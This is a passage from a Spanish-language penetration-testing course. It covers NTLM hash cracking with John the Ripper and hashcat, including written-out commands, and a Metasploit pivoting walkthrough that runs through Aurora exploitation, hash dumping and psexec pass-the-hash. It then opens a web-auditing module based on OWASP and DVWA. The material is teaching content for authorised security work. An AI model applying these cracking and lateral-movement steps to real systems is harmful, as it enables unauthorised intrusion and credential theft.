diccionario especificado y probar variaciones de la contraseña como, por ejemplo:

Sustituir letras minúsculas por mayúsculas.

Añadir dígitos.
Añadir símbolos.
Sustituir letras y números por símbolos.

A continuación, se muestra un comando de ejemplo que inicializa el proceso de cracking de hashes

NTLM con John indicando un diccionario de posibles contraseñas e indicando que siga las reglas de
permutaciones de contraseñas de Korelogic.

john --format=NT --rules -w=/usr/share/wordlists/rockyou.txt hashfile.txt

john –format=NT –rules=korelogic -—wordlist=/usr/share/wordlist/rockyou.txt

hashes_NTLM.txt

La siguiente captura de pantalla muestra un ejemplo de uso de John the ripper en el que se realiza un
proceso de cracking de contraseñas sobre unos hashes NTLM utilizando 2 cores para el proceso e
indicando que se utilicen todas las reglas disponibles para realizar permutaciones de las contraseñas.

109/265
Imagen 3.18. Uso de John the ripper.
Fuente: captura de Kali Linux.

2.8.2. hashcat

Como las anteriores, hashcat es una herramienta de cracking de contraseñas. Soporta muchos más
algoritmos de hashing que John para realizar el proceso de cracking, lo cual la dota de mayor
versatilidad.

Además, soporta el uso de procesamiento GPU, utilizado en las tarjetas gráficas, mucho más rápido
que el uso de procesadores CPU convencionales.

Una curiosidad es que en hashcat se indica el tipo de algoritmo de hash con el parámetro -m
seguido de un identificador numérico que indica el algoritmo de hash que se va a utilizar. Al invocar
la ayuda de hashcat, se muestran los tipos de algoritmos soportados:

ENLACE

El siguiente ejemplo muestra el proceso de cracking de una serie de hashes incluidos en el fichero
hash.ntlm.txt, probando las contraseñas almacenadas en el fichero dictionary.txt e indicando en el
parámetro -m 1000 que los hashes se encuentran en formato NTLM.

ENLACE

110/265
 3

Otra opción interesante, es que soporta la posibilidad de probar contraseñas en base a una máscara
en la cual se puede indicar la longitud mínima y máxima de las contraseñas para probar, y el tipo de
dígito que podrá tener en cada posición. El uso de máscaras trata de emular el tipo de contraseñas que
generan los usuarios convencionales basándose en la política de generación de contraseñas presente
en el sistema.

A continuación, se muestra la equivalencia de cada opción de máscara con el charset al que hace
referencia.

ENLACE

Siguiendo la leyenda anterior, el siguiente ejemplo intenta realizar el cracking de unos hashes NTLM
indicados en el fichero ntlm.hp, generando contraseñas que constan de una primera letra mayúscula,
seguido de 7 letras minúsculas y 4 dígitos al final de la contraseña.

Imagen 3.19. Cracking de hashes NTLM en hashcat.

Fuente: captura de la herramienta hashcat.

2.9. Pivoting con meterpreter

Pivotar es la técnica única de usar una instancia para poder "moverse"

dentro de una red. La finalidad del pivoting es comprometer a otras
máquinas de la red a la que pertenece un sistema ya comprometido. Como
no se puede acceder directamente a ellas, se usa la máquina comprometida
para recolectar información y lanzar exploits.

111/265
 Vamos a poner como ejemplo la explotación de la vulnerabilidad Aurora, una vulnerabilidad que
compromete la memoria, presente en Internet Explorer.

Para ello vamos a utilizar el módulo de Metasploit exploit/windows/browser/ms10_002_aurora, que

explota un defecto de corrupción de memoria en Internet Explorer.

Esta vulnerabilidad fue un componente clave de los ataques de la "Operación Aurora" que
condujeron al compromiso de un número de compañías de alto perfil. El código de explotación es un
puerto directo de la muestra pública publicada en el sitio de análisis de malware de Wepawet. La
técnica utilizada por este módulo puede explotar únicamente Internet Explorer 6 de forma fiable.

Imagen 3.20. Código de explotación.

Fuente: elaboración propia.

112/265
2

Cuando un usuario visita la URL maliciosa que hemos creado, se crea una sesión de meterpreter
que nos proporciona acceso completo al sistema.

Imagen 3.21. Sesión de meterpreter.

Fuente: elaboración propia.

Una vez nos conectamos a la sesión de meterpreter que se ha creado, hacemos un ipconfig y vemos
que el sistema vulnerado es dual, se comunica con diferentes redes dentro de una organización.

Imagen 3.22. Comunicación con redes.

Fuente: elaboración propia.

113/265
4

A continuación, vamos a utilizar la información recién descubierta y atacar la red adicional.

Metasploit tiene un script de autoroute meterpreter que nos permitirá atacar esta segunda red a través
de nuestra primera máquina comprometida.

Imagen 3.23. Ataque a redes.

Fuente: elaboración propia.

Ahora que hemos agregado nuestra ruta adicional, escalaremos a SYSTEM, volcaremos los hashes
de contraseñas y pondremos en segundo plano nuestra sesión de intérprete de medidores presionando
Ctrl-z.

Imagen 3.24. Escalar, volcar y poner en segundo plano.

Fuente: elaboración propia.

114/265
6

Ahora tenemos que determinar si hay otros sistemas en esta segunda red que hemos descubierto.
Usaremos un escáner básico de puertos TCP para buscar los puertos 139 y 445.

Imagen 3.25. Escaner básico de puertos TCP.

Fuente: elaboración propia.

115/265
7

Una vez que hemos descubierto un host con los puertos 139 y 445 abiertos, vamos a utilizar el
módulo de psexec con los hashes que hemos obtenido anteriormente.

Imagen 3.26. Módulo de psexec.

Fuente: elaboración propia.

Imagen 3.27. Módulo de psexec.

Fuente: elaboración propia.

116/265
 8

El ataque ha sido exitoso, hemos creado una nueva sesión de meterpreter sobre el objetivo que se
conecta a través del sistema que vulneramos anteriormente. Para comprobar que estamos en dicha
máquina, ejecutaremos un ifconfig para verificarlo:

Imagen 3.28. Verificación.

Fuente: elaboración propia.

Como hemos podido observar, pivotar es una característica extremadamente poderosa y es una
capacidad crítica para tener en las pruebas de penetración.

III. Resumen
En esta unidad hemos estudiado las fases de explotación y escalada de privilegios.

Como hemos visto, para la fase de explotación es esencial saber que un exploit se utiliza para
conseguir un comportamiento específico de un sistema de información aprovechando una vulnerabilidad
de seguridad. Respecto a esto, también hemos estudiado diferentes tipos, vectores de entrada, en qué
consiste un sellcode, diferentes tipos y su generación, etc.

En cuanto a la escalada de privilegios, hemos aprendido que existen diferentes tácticas para realizarla
y que tenemos a nuestra disposición varias herramientas que nos ayudarán a llevar a cabo esta tarea.

Además, hemos estudiado la escalada de privilegios en diferentes formatos.

Por ejemplo: en local (Windows y Linux), mediante fuerza bruta empleando diferentes
herramientas y empleando técnicas Pass the Hash , entre otras.

117/265
Recursos

Enlaces de Interés
https://nmap.org/zenmap/: ZenMap (recopilación de herramientas usadas)
http://xforce.iss.net: Xforce (recopilación de herramientas usadas)
https://wpscan.org/: WPScan (recopilación de herramientas usadas)
https://www.wireshark.org/: Wireshark (recopilación de herramientas usadas)
https://www.whois.net/: Whois (recopilación de herramientas usadas)
https://github.com/scipag/vulscan: Vulscan (recopilación de herramientas usadas)
https://github.com/laramies/theHarvester: theHarvester (recopilación de herramientas usadas)
https://github.com/rbsec/sslscan: SSLscan (recopilación de herramientas usadas)
https://www.shodan.io/: Shodan (recopilación de herramientas usadas)
http://www.securitytracker.com: Securitytracker (recopilación de herramientas usadas)
http://www.securityfocus.com/bid/: Securityfocus (recopilación de herramientas usadas)
https://github.com/sygo/searchsploit: Searchsploit (recopilación de herramientas usadas)
https://www.robtex.com/: Robtex (recopilación de herramientas usadas)
https://www.ripe.net/: Ripe (recopilación de herramientas usadas)
https://bitbucket.org/LaNMaSteR53/recon-ng: Recon-ng (recopilación de herramientas usadas)
https://www.qualys.com/solutions/web-app/: Qualys web-app (recopilación de herramientas
usadas)
https://www.ssllabs.com/: Qualys SSL (recopilación de herramientas usadas)
https://github.com/byt3bl33d3r/pth-toolkit: Pth-toolkit (recopilación de herramientas usadas)
https://github.com/lanjelot/patator: Patator (recopilación de herramientas usadas)
https://pastebin.com/: Pastebin (recopilación de herramientas usadas)
http://www.openvas.org: Openvas (recopilación de herramientas usadas)
https://blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf: Nmap (4)
https://nmap.org/nsedoc/: Nmap (3)
https://nmap.org/man/es/man-performance.html: Nmap (2)
https://nmap.org/man/es/man-port-scanning-techniques.html: Nmap (1)
https://nmap.org/: Nmap (recopilación de herramientas usadas)
http://netcat.sourceforge.net/: Netcat (recopilación de herramientas usadas)
https://www.tenable.com/products/nessus/nessus-professional: Nessus (recopilación de
herramientas usadas)

118/265
 https://nmap.org/ncrack/: Ncrack (recopilación de herramientas usadas)
https://github.com/gentilkiwi/mimikatz: Mimikatz (recopilación de herramientas usadas)
https://www.metasploit.com/: Metasploit (recopilación de herramientas usadas)
https://github.com/jmk-foofus/medusa: Medusa (recopilación de herramientas usadas)
http://www.openwall.com/john/: Jhon the Ripper (recopilación de herramientas usadas)
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol: ICMP
https://tools.kali.org/password-attacks/hydra: Hydra (recopilación de herramientas usadas)
https://hashcat.net/hashcat/: Hashcat (recopilación de herramientas usadas)
https://www.google.com: Google (recopilación de herramientas usadas)
https://github.com/: Github (recopilación de herramientas usadas)
https://www.elevenpaths.com/es/labstools/foca-2/index.html: FOCA (recopilación de
herramientas usadas)
http://www.exploit-db.com: Expliot-db (recopilación de herramientas usadas)
https://github.com/portcullislabs/enum4linux: Enum4linux (recopilación de herramientas
usadas)
https://github.com/fwaeytens/dnsenum: Dnsenum (recopilación de herramientas usadas)
http://cve.mitre.org: CVE (recopilación de herramientas usadas)
https://www.bing.com/: Bing (recopilación de herramientas usadas)
https://attack.mitre.org/wiki/All_Techniques: Attack Mitre
https://github.com/royhills/arp-scan: Arp-scan (recopilación de herramientas usadas)
https://www.arin.net/: Arin (recopilación de herramientas usadas)
http://archive.org: Archive.org (recopilación de herramientas usadas)
https://www.acunetix.com/: Acunetix (recopilación de herramientas usadas)
https://0day.today/: 0day (recopilación de herramientas usadas)

Bibliografía
0day.: https://0day.today/
Hash Crack: Password Cracking Manual. : Picolet, J. (2018). Hash Crack: Password
Cracking Manual.
Penetration Testing Fundamentals: A Hands-On Guide to Reliable Security Audits . :
Easttom, C. (2018). Penetration Testing Fundamentals: A Hands-On Guide to Reliable
Security Audits. Indianapolis: Pearson IT.
Acunetix.: https://www.acunetix.com/
Archive.org.: http://archive.org
Arin.: https://www.arin.net/

119/265
Arp-scan.: https://github.com/royhills/arp-scan
Attack Mitre.: https://attack.mitre.org/wiki/All_Techniques
CVE.: http://cve.mitre.org
Dnsenum.: https://github.com/fwaeytens/dnsenum
Dnsrecon.: https://github.com/darkoperator/dnsrecon
Documentación de scripts de Nmap.: https://nmap.org/nsedoc/
Enum4linux.: https://github.com/portcullislabs/enum4linux
Exploit-db.: http://www.exploit-db.com
Exploit-db. Linux sock_sendpage() NULL pointer dereference. : https://www.exploit-
db.com/raw/9545/
Exploit-db. Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-
080).: https://www.exploit-db.com/exploits/18176/
FOCA.: https://www.elevenpaths.com/es/labstools/foca-2/index.html
Github.: https://github.com/
Hashcat.: https://hashcat.net/hashcat/
Hydra.: https://tools.kali.org/password-attacks/hydra
Internet Control Message Protocol (ICMP).:
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
Jhon the Ripper.: http://www.openwall.com/john/
Medusa.: https://github.com/jmk-foofus/medusa
Metasploit.: https://www.metasploit.com/
Mimikatz.: https://github.com/gentilkiwi/mimikatz
Ncrack.: https://nmap.org/ncrack/
Nessus.: https://www.tenable.com/products/nessus/nessus-professional
Netcat.: http://netcat.sourceforge.net/
Nmap.: https://nmap.org/
Nmap. Control de tiempo y rendimiento.: https://nmap.org/man/es/man-performance.html
Offensive Security. Metasploit Unleashed – Free Ethical Hacking Course. :
https://www.offensive-security.com/metasploit-unleashed/
Openvas.: http://www.openvas.org
OSVDB.: http://www.osvdb.org
Pastebin.: https://pastebin.com/
Patator.: https://github.com/lanjelot/patator
Pth-toolkit.: https://github.com/byt3bl33d3r/pth-toolkit
Qualys SSL.: https://www.ssllabs.com/
Qualys.: https://www.qualys.com/solutions/web-app/

120/265
 Repositorio de Recon-ng.: https://bitbucket.org/LaNMaSteR53/recon-ng
Ripe.: https://www.ripe.net/
Robtex.: https://www.robtex.com/
SANS Institute. Nmap Cheat Sheet. : https://blogs.sans.org/pen-
testing/files/2013/10/NmapCheatSheetv1.1.pdf
Searchsploit.: https://github.com/sygo/searchsploit
Securityfocus.: http://www.securityfocus.com/bid/
Securitytracker.: http://www.securitytracker.com
Shodan.: https://www.shodan.io/
SSLscan.: https://github.com/rbsec/sslscan
theHarvester.: https://github.com/laramies/theHarvester
Vulscan.: https://github.com/scipag/vulscan
Wireshark.: https://www.wireshark.org/
WPScan.: https://wpscan.org/
Xforce.: http://xforce.iss.net
Zenmap.: https://nmap.org/zenmap/

Glosario.

Ataque de fuerza bruta (credenciales): Automatizar el proceso de autenticación sobre un

determinado servicio o aplicación con la finalidad de ir probando posibles combinaciones de
contraseñas o usuario/contraseña, hasta averiguar las credenciales de acceso de algún usuario
privilegiado.

Escalada de privilegios: Resultado de acciones que permiten a un adversario obtener un

mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.

Exploit: Software o técnica que permite explotar o aprovechar una vulnerabilidad de

seguridad de un sistema de información para conseguir un comportamiento no deseado del
mismo.

Password cracking: Intentar utilizar los hashes de las contraseñas para averiguar las
contraseñas en texto claro.

Payload: Conjunto de datos transmitidos (mensaje enviado).

121/265
 Pivotar (pivoting): Técnica única de usar una instancia para poder "moverse" dentro de una
red. La finalidad del pivoting es comprometer a otras máquinas de la red a la que pertenece un
sistema ya comprometido. Como no se puede acceder directamente a ellas, se usa la máquina
comprometida para recolectar información y lanzar exploits.

Shellcode: Pequeña porción de código utilizada como carga útil en la explotación de una
vulnerabilidad de software. Se llama "shellcode" porque normalmente inicia un shell de
comandos desde el cual el atacante puede controlar la máquina comprometida, pero cualquier
código que realice una tarea similar se puede llamar shellcode.

122/265
Auditoría de aplicaciones web

I. Introducción a la auditoría web

1.1. Introducción
Hoy en día gran parte del software corporativo se compone de aplicaciones web empleadas por las
organizaciones en su parque informático. Escribir aplicaciones web seguras es una tarea ardua y
complicada que requiere de multitud de recursos y esfuerzo que pocas organizaciones están dispuestas a
invertir.

Es por ello que las aplicaciones web son un estupendo punto de entrada a muchas organizaciones, ya
que todas las aplicaciones tienen una o varias vulnerabilidades. La cuestión es encontrarlas y explotarlas.

Las auditorías de aplicaciones web consisten en un análisis cuyo objetivo es identificar, enumerar y
describir las vulnerabilidades que existen en ellas. Su objetivo es detectar el mayor número de
vulnerabilidades posible; lo ideal sería detectar todas, pero hay que ser conscientes de que no siempre es
posible y lo que hoy no es una vulnerabilidad mañana puede convertirse en una.

En este módulo estudiaremos diferentes metodologías, vulnerabilidades y herramientas que debemos

conocer y utilizar para auditar estas aplicaciones con las mejores garantías.

La auditoría de aplicaciones web combina el uso de herramientas automatizadas, como escáneres y

fuzzers, y una parte manual con el uso de un proxy para llegar al detalle de las vulnerabilidades y
explotarlas.

1.2. Objetivos
El objetivo de esta unidad es que el estudiante aprenda a aplicar el conocimiento adquirido en las
unidades anteriores a la auditoría específica de aplicaciones web.

En este sentido, trabajaremos en las fases de la auditoría de aplicaciones web, herramientas específicas
para estas tareas, así como diferentes pruebas de seguridad en aplicaciones web.

Para ello, es importante tener un conocimiento sólido sobre las distintas vulnerabilidades, para lo que
nos apoyaremos en herramientas como la interfaz CVE Details o la base de datos del NIST, ya que nos
servirán de ayuda a la hora de comprender, clasificar y conocer los tipos de ataques y vulnerabilidades.

123/265
 Durante todo el módulo se va a utilizar la aplicación web DVWA (Damn Vulnerable Web
App), una aplicación vulnerable cuyo objetivo es proporcionar a profesionales de seguridad,
estudiantes, desarrolladores web, etc., un entorno legal donde practicar las técnicas de hacking y
comprender los procesos de seguridad.

Esto servirá para poder ver ejemplos de las pruebas que se llevan a cabo en las auditorías web
con el objetivo de facilitar su comprensión al alumno.

Está disponible para su descarga en http://www.dvwa.co.uk/

Además, se va a hacer referencia al sistema operativo KALI Linux, una distribución basada
en debían diseñada para la auditoría y seguridad informática en general.

Está disponible para su descarga en https://www.kali.org/downloads/

1.3. Tipos de auditoría

Existen distintos tipos de auditorías que se pueden realizar sobre una aplicación web: la diferencia
entre ellas se encuentra en la información que conocemos sobre el objetivo cuando comienza la
auditoría.

Caja negra

El auditor comienza la auditoría conociendo únicamente la URL de la aplicación. El objetivo de

realizar una auditoría de este tipo es que simula un ataque externo real.

Caja gris

Se dispone de cierta información de la aplicación, por lo que no se parte de cero, pero tampoco se
dispone de toda la información que se desee.

Caja blanca

Se dispone de toda la información interna de la organización, código fuente, componentes de la

aplicación, cómo está desplegado en el servidor, etc. Al conocer toda esta información se puede
prescindir de la fase de fingerprinting que se tratará más adelante. Este tipo de auditoría simularía un
ataque interno.

1.4. Vulnerabilidades web

Las aplicaciones web pueden verse afectadas por gran cantidad de vulnerabilidades diferentes. En esta
sección vamos a ver las vulnerabilidades más comunes y descubriremos que hay vulnerabilidades que
pueden ser comunes a todas las aplicaciones web, mientras que otras solo afectarán a las aplicaciones en
función de las tecnologías empleadas en su desarrollo y despliegue.

124/265
 La comunidad OWASP ( Open Web Application Security Project ) es un proyecto dedicado a mejorar
el estado de seguridad del software, aplicaciones web incluidas. Como parte de este proyecto se
encuentra la guía Top 10 de OWASP , que contiene las diez vulnerabilidades más comunes en
aplicaciones web.

A continuación, vamos a ver esta lista con las 10 vulnerabilidades más comunes para tener un buen
punto de partida a la hora de evaluar el estado de seguridad de la web de una organización. La versión
más reciente de esta guía fue publicada en noviembre de 2017.

OWASP Top Ten 2017:

Imagen 4.1. OWASP TOP TEN (adaptado).

Fuente: adaptado de OWASP.

125/265
 En la imagen 4.2. podemos apreciar una comparativa entre el año 2013 y 2017 del Top Ten en la cual
se puede ver cómo la mayoría de vulnerabilidades siguen siendo las mismas y cómo han aparecido dos
nuevas categorías a tener en cuenta. Se debe destacar que estas vulnerabilidades siguen sucediendo hoy
en día.

Imagen 4.2. OWASP Top 10, comparativa del 2013 y el 2017.

Fuente: OWASP.

II. Metodología
A la hora de llevar a cabo una auditoría de una aplicación web, la mejor manera de afrontarla es seguir
una metodología que nos permita cubrir la totalidad de la aplicación con la mayor probabilidad de éxito.
En esta sección se va a ver una de las metodologías más utilizadas para llevar a cabo las auditorías de
aplicaciones web y las fases de las que consta una auditoría, enfocándonos en las acciones que se deben
llevar en cada fase teniendo en cuenta las posibles vulnerabilidades que nos encontremos.

Esta metodología es la metodología OWASP que, además del top ten de vulnerabilidades, cuenta con
una guía de testing para llevar a cabo la auditoría, que podemos encontrar bajo el nombre OWASP
Testing Guide.

En esta guía podemos encontrar una serie de controles de seguridad que debemos realizar sobre las
aplicaciones web; estos se encuentran agrupados en diferentes categorías teniendo en cuenta la tipología
de las pruebas.

2.1. Pruebas de seguridad en aplicaciones web

Esta guía se estructura en 11 categorías, las cuales vamos a ver a continuación, y contienen un total de
91 controles:

126/265
Imagen 4.3. Módulos OWASP.
Fuente: OWASP.

A continuación, se van a describir los módulos de manera introductoria, siendo recomendable la

lectura completa de los controles en la propia guía:

2.1.1 Recolección de información

Incluye todas las tareas relacionadas con la obtención de toda la información posible de la aplicación.

Algunas de las acciones incluidas en este módulo son:

Búsqueda en internet del objetivo.

Información del servidor web.
Enumeración de aplicaciones en el servidor web.
Identificación de los puntos de entrada existentes en la aplicación.
Mapa web de la aplicación.

2.1.2 Pruebas de gestión de configuración e implementación

El objetivo de estas pruebas será conocer la configuración establecida en el servidor web donde se
encuentra la aplicación, ya que la seguridad en el servidor es tan importante como la de la aplicación.

Algunas de las acciones incluidas en este módulo son:

Enumeración de portales de administración.

127/265
 Revisión de la configuración:

que no existan usuarios y contraseñas por defecto

búsqueda de vulnerabilidades conocidas en los componentes de la aplicación

2.1.3 Pruebas de gestión de identidades

Este módulo contempla las pruebas relacionadas con las gestiones de usuarios.

Algunas de las acciones incluidas en este módulo son:

Existencia de roles y su segregación.

Procedimientos de registro de usuarios.
Posible enumeración de usuarios.

2.1.4 Pruebas de autenticación

En aplicaciones que dispongan de una parte autenticada en la que sea necesario disponer de un
usuario/contraseña para acceder, se deben llevar a cabo controles sobre la autenticación para comprobar
que el funcionamiento de la aplicación es el esperado.

Algunas de las acciones incluidas en este módulo son:

Envío de credenciales a través de un canal cifrado.

Política de contraseñas segura.
Posibilidad de saltarse la autenticación y acceder a la parte privada de la aplicación sin
usuario/contraseña.

2.1.5 Pruebas de autorización

Los controles relacionados con la autorización se enfocan en asegurarse de que a cada parte de la
aplicación solo pueden acceder aquellos usuarios autorizados.

Algunas de las acciones incluidas en este módulo son:

Comprobar que no se puede llevar a cabo escalada de privilegios.

Inclusión de ficheros en la aplicación.

2.1.6 Pruebas de gestión de sesiones

En las aplicaciones que tienen usuarios, estas pruebas se realizan para comprobar que las sesiones
están correctamente configuradas y no se pueden manipular de ninguna manera.

Algunas de las acciones incluidas en este módulo son:

128/265
 Correcta configuración de las cookies.
Posibilidad de fijar una sesión de usuario.
Comprobar la funcionalidad de logout.

2.1.7 Pruebas de validación de entrada de datos

Este apartado contiene todas las pruebas para detectar o descartar vulnerabilidades de inyección. Se
centra en evaluar todos los campos que envían información por parte del usuario al servidor y que
pueden llegar a modificar el comportamiento esperado de la aplicación.

Algunas de las acciones incluidas en este módulo son:

Pruebas de Cross Site Scripting (XSS), almacenado y reflejado.

Pruebas se SQLinjection.
Pruebas de inyección de código.
En resumen, pruebas de cualquier tipo de inyección (LDAP, Xpath, CML, etc.).

2.1.8 Pruebas de manejo de errores

En muchas ocasiones, las aplicaciones web devuelven errores al usuario. Estas pruebas consisten en
comprobar que los errores no proporcionan información de más que se pueda convertir en una debilidad.

Algunas de las acciones incluidas en este apartado son:

Existencia de errores que muestran información de la aplicación como componentes y

versiones.
Existencia de página de error genérica de la aplicación ante un error inesperado.

2.1.9 Pruebas de cifrado débil

Dependiendo del tipo de aplicación, será necesario que la comunicación y el envío de los datos se
realicen de manera segura, para ello se debe comprobar el cifrado, tanto del envío de información
sensible, como de los algoritmos de cifrado soportados por el servidor.

Algunas de las acciones incluidas en este módulo son:

Utilización de un canal cifrado para el envío de información sensible.

Comprobar el uso de algoritmos de cifrados considerados débiles.

2.1.10 Pruebas de lógica de negocio

129/265
 En este módulo se llevan a cabo pruebas que traten de alterar el comportamiento de la aplicación
teniendo en cuenta su lógica de negocio. Las vulnerabilidades detectadas en este módulo son
difícilmente descubiertas a través de escáneres automáticos ya que dependen del contexto de la
aplicación.

Algunas de las acciones incluidas en este punto son:

Posibilidad de forzar peticiones cuando la aplicación no las debería aceptar.

Alteración en los tiempos de procesamiento.
Posibilidad de subir archivos no esperados por la aplicación.

2.1.11 Pruebas en el lado cliente

Estas pruebas implican la ejecución de código en el lado cliente. Esto se puede llevar a cabo a través
del navegador o alguno de los plugins de navegador instalados por el usuario. Se debe diferenciar esta
ejecución de código de la que se realiza cuando se envía una petición al servidor y se ejecuta en él.

Algunas de las acciones incluidas en este módulo son:

Existencia de vulnerabilidades de XSS DOM.

Inyección HTML.
Ejecución de código JavaScript.

Como se ha podido observar, el número de pruebas y controles es muy elevado y hay que tener en
cuenta que no todos aplican a todas las aplicaciones, sino que dependiendo de la tipología de la
aplicación pueden existir controles que no tengan sentido ya que queden fuera del alcance de la
aplicación, ya sea porque se ha acordado así o porque no tengan sentido las pruebas (por ejemplo, si la
aplicación no tiene usuarios, no aplicarías las pruebas de gestión de sesiones, autenticación o
autorización).

2.2. Fases de una auditoría web

Vamos a identificar distintas fases de dentro de una auditoría:

Imagen 4.4. Fases auditoría web.

Fuente: elaboración propia CyberAcademy.

Para ello, se ha dividido la auditoría web en diferentes fases que irán acompañadas de una serie de
actividades para la correcta ejecución de la auditoría.

2.2.1 Planificación

130/265
 Es la primera fase de una auditoría y es aquí donde se llevan a cabo los acuerdos entre el responsable
de la aplicación y el responsable del equipo de auditoría. Debido a esto, en la mayoría de los casos es una
fase transparente para el auditor.

Durante esta fase se acuerdan, entre otros, los siguientes puntos:

Fechas en las que se llevará a cabo la auditoría, fecha de inicio y fecha de fin.
Tipo de auditoría que se va a realizar (caja negra, gris o blanca).
Alcance de la auditoría.
Limitaciones: por ejemplo, no llevar a cabo pruebas que impliquen una posible denegación de
servicio.
Objetivos: qué quiere el responsable de la aplicación.
Preocupaciones: qué inquieta al responsable de la aplicación.
Personas de contacto durante la realización de la auditoría: por ejemplo, en caso de que se
produzcan problemas, se detecten vulnerabilidades con alto nivel de criticidad, etc.
La auditoría va acompañada de una nueva auditoría para comprobar que se han resuelto las
vulnerabilidades que se reporten tras la auditoría inicial.

En pocas palabras, consiste en establecer las expectativas de todas las partes para evitar problemas en
el futuro y que no existan malentendidos que hagan que alguna de las partes quede descontenta.

Todos estos acuerdos se obtienen tras una serie de reuniones que tendrán lugar entre los responsables.
En estas reuniones también se aclararán las dudas que tenga cualquiera de las partes. Una vez finalizada
esta fase, se tendrá todo lo necesario para comenzar la auditoría.

2.2.2 Recolección de información

Esta fase corresponde con la primera toma de contacto con la aplicación. En ella se tratará de obtener
toda la información disponible de la aplicación y de sus componentes. Para ello se van a utilizar dos
técnicas ya conocidas:

Footprinting: recolección de información pública disponible en Internet. Puede ser

información publicada por la propia organización de manera consciente o no. Al ser datos
públicos, el objetivo no tiene manera de detectar que están recopilando datos de él.
Fingerprinting: recolección de información a través de la interacción con la aplicación. Se
obtiene del rastro que dejan los sistemas. Esta información se puede obtener de manera pasiva,
por ejemplo, interceptando el tráfico de red que se produce al navegar por la aplicación para su
posterior estudio; o de manera activa, enviando paquetes/peticiones a la aplicación con el
objetivo de ver cómo responde el sistema, lo que permite obtener información de su
configuración o comportamiento.

2.2.3 Ejecución de la auditoría

La fase de ejecución se puede considerar la fase principal, ya que es donde tienen lugar la mayor parte
de las pruebas.

131/265
 Tras haber realizado una correcta recolección de información, se procede a explorar aquellas partes de
la aplicación que aparentemente son más susceptibles de ser vulnerables.

Acciones que se llevan a cabo durante esta fase:

Ejecución de pruebas específicas.

Comprobación de los controles de OWASP.
Escaneo activo de la aplicación o de las páginas sospechosas (aquellas con más probabilidades
de contener vulnerabilidades).
Captura de evidencias de cada vulnerabilidad.

Implica una interacción directa con la aplicación, con el objetivo de detectar y explotar el mayor
número de vulnerabilidades. Para ello, siguiendo la guía de testing de OWASP, iremos recorriendo todas
las posibilidades. Es importante tener en cuenta que no hay que ceñirse únicamente a llevar a cabo los
controles de OWASP, ya que pueden existir vulnerabilidades de otras tipologías y debemos tomarlo solo
como una guía y no como un método infalible.

Otra de las acciones que no se deben pasar por alto en esta fase será la recolección de evidencias cada
vez que se detecte una vulnerabilidad, estas evidencias serán las que aparecerán en el informe y
justificarán la existencia de la vulnerabilidad, por lo que deben ser lo más claras y explicativas posible.

2.2.4 Elaboración de informe

Por último, pero no por ello menos importante, se debe llevar a cabo el informe de la auditoría, en el
que se deben plasmar los resultados de la misma, exponiendo de manera clara los hallazgos encontrados.

Esta fase se estudiará en detalle en la última unidad del curso.

III. Vulnerabilidades y pruebas

Una vez que hemos visto las distintas fases de las auditorías web, la mayor parte de las actividades
que se van a llevar a cabo por parte del auditor se encuentran en la fase 2 y 3.

En este apartado vamos a ver con mayor detalle qué vulnerabilidades pueden existir en las
aplicaciones web, qué acciones se deben realizar para detectar las vulnerabilidades y cómo llevarlas a
cabo.

3.1. Recolección de información

¿De qué manera podemos obtener esta información? A través de diferentes acciones, algunas de las
cuales se explican a continuación:

3.1.1 Buscadores

132/265
 Consiste en buscar información de la aplicación y organización en internet que puedan ayudarnos
durante el desarrollo de la auditoría.

Este tipo de búsqueda de información no se limita únicamente a las búsquedas que se realizan por
defecto en los navegadores, sino que se deben explotar estas herramientas al máximo:

Utilizar todos los buscadores disponibles: Google, Bing, etc. No centrarse únicamente en un
navegador, ya que la información que muestra cada uno puede ser diferente.
Google Hacking: permite exprimir las búsquedas en el buscador de Google, permitiendo al
auditor filtrar los resultados según le interese. Los detalles del funcionamiento (operadores y
manera de utilizarlos) de esta técnica se han visto en el módulo I, dentro de la sección
"Reconocimiento" en el apartado de reconocimiento pasivo de información.(https://www.explo
it-db.com/google-hacking-database/)
Bing Hacking: similar a Google hacking, pero desde el buscador de Bing. Tiene algunos
operadores distintos como “ip” que permite buscar todas las páginas que pertenecen a uno
misma IP.
(http://pastebin.com/d2WcnJqA)
Shodan: buscador que, en lugar de buscar información indexada en páginas web, permite
realizar búsquedas en Internet de máquinas de la organización.
(https://www.shodan.io/)

3.1.2 Navegar por la aplicación

Una vez que conocemos la aplicación web objetivo, lo primero será comprobar que podemos acceder
a ella sin problemas. Lo siguiente será navegar a través de ella para ver, entre otras cosas, el tamaño de la
aplicación y páginas que sean sospechosas de tener vulnerabilidades (página de login, formularios,
buscador, etc.).

3.1.3 Whois

Whois es un protocolo TCP que, partiendo de una dirección IP o un dominio, efectúa consultas en una
base de datos que permite determinar el propietario, dominios que aloja, información de contacto, etc.

Se explica con más detalle en el módulo I, sección "Reconocimiento", apartado Reconocimiento

pasivo.

3.1.4 Mapa de la aplicación

Consiste en obtener un esquema completo de las páginas que forman la aplicación. Para obtener esta
información existen distintas herramientas conocidas como spiders o crawlers. Su funcionamiento
consiste en inspeccionar la aplicación de manera recursiva siguiendo todos los enlaces de la aplicación
hasta recorrerla por completo.

Para ello, existen distintas herramientas, una de las mejores es Burp y tiene tanto versión gratuita
como de pago. Durante el curso se van a ver distintos ejemplos en los que se usará la versión gratuita,
Burp Suite Community Edition .

133/265
 En primer lugar, una vez que se capture una petición hacia el objetivo con Burp, aparecerá en la
pestaña Target, sobre la URL del objetivo, haciendo clic con el botón derecho, se selecciona la opción
“Spider this host ”.

Imagen 4.5. Funcionalidad Spider de Burp.

Fuente: captura de la herramienta Burp suite.

134/265
 Imagen 4.6. Mapa de aplicación - Burp

Imagen 4.6. Mapa de aplicación - Burp.

Fuente: captura de la herramienta Burp suite.

3.1.5 Código fuente

Consultar el código fuente buscando información interna de la aplicación, como pueden ser versiones
de componentes o comentarios con usuarios y contraseñas.

Para ver el código, será suficiente con hacer clic con el botón derecho del ratón y seleccionar “Ver
código fuente de la página” o con el atajo de teclado ctrl+U.

135/265
Imagen 4.7. Ver código fuente de una aplicación web.
Fuente: http://www.dvwa.co.uk/.

Imagen 4.8. Código fuente de una aplicación web.

Fuente: http://www.dvwa.co.uk/.

3.1.6 Metadatos

136/265
 Son los datos que describen otros datos y son propios de los archivos. De aquí se puede obtener
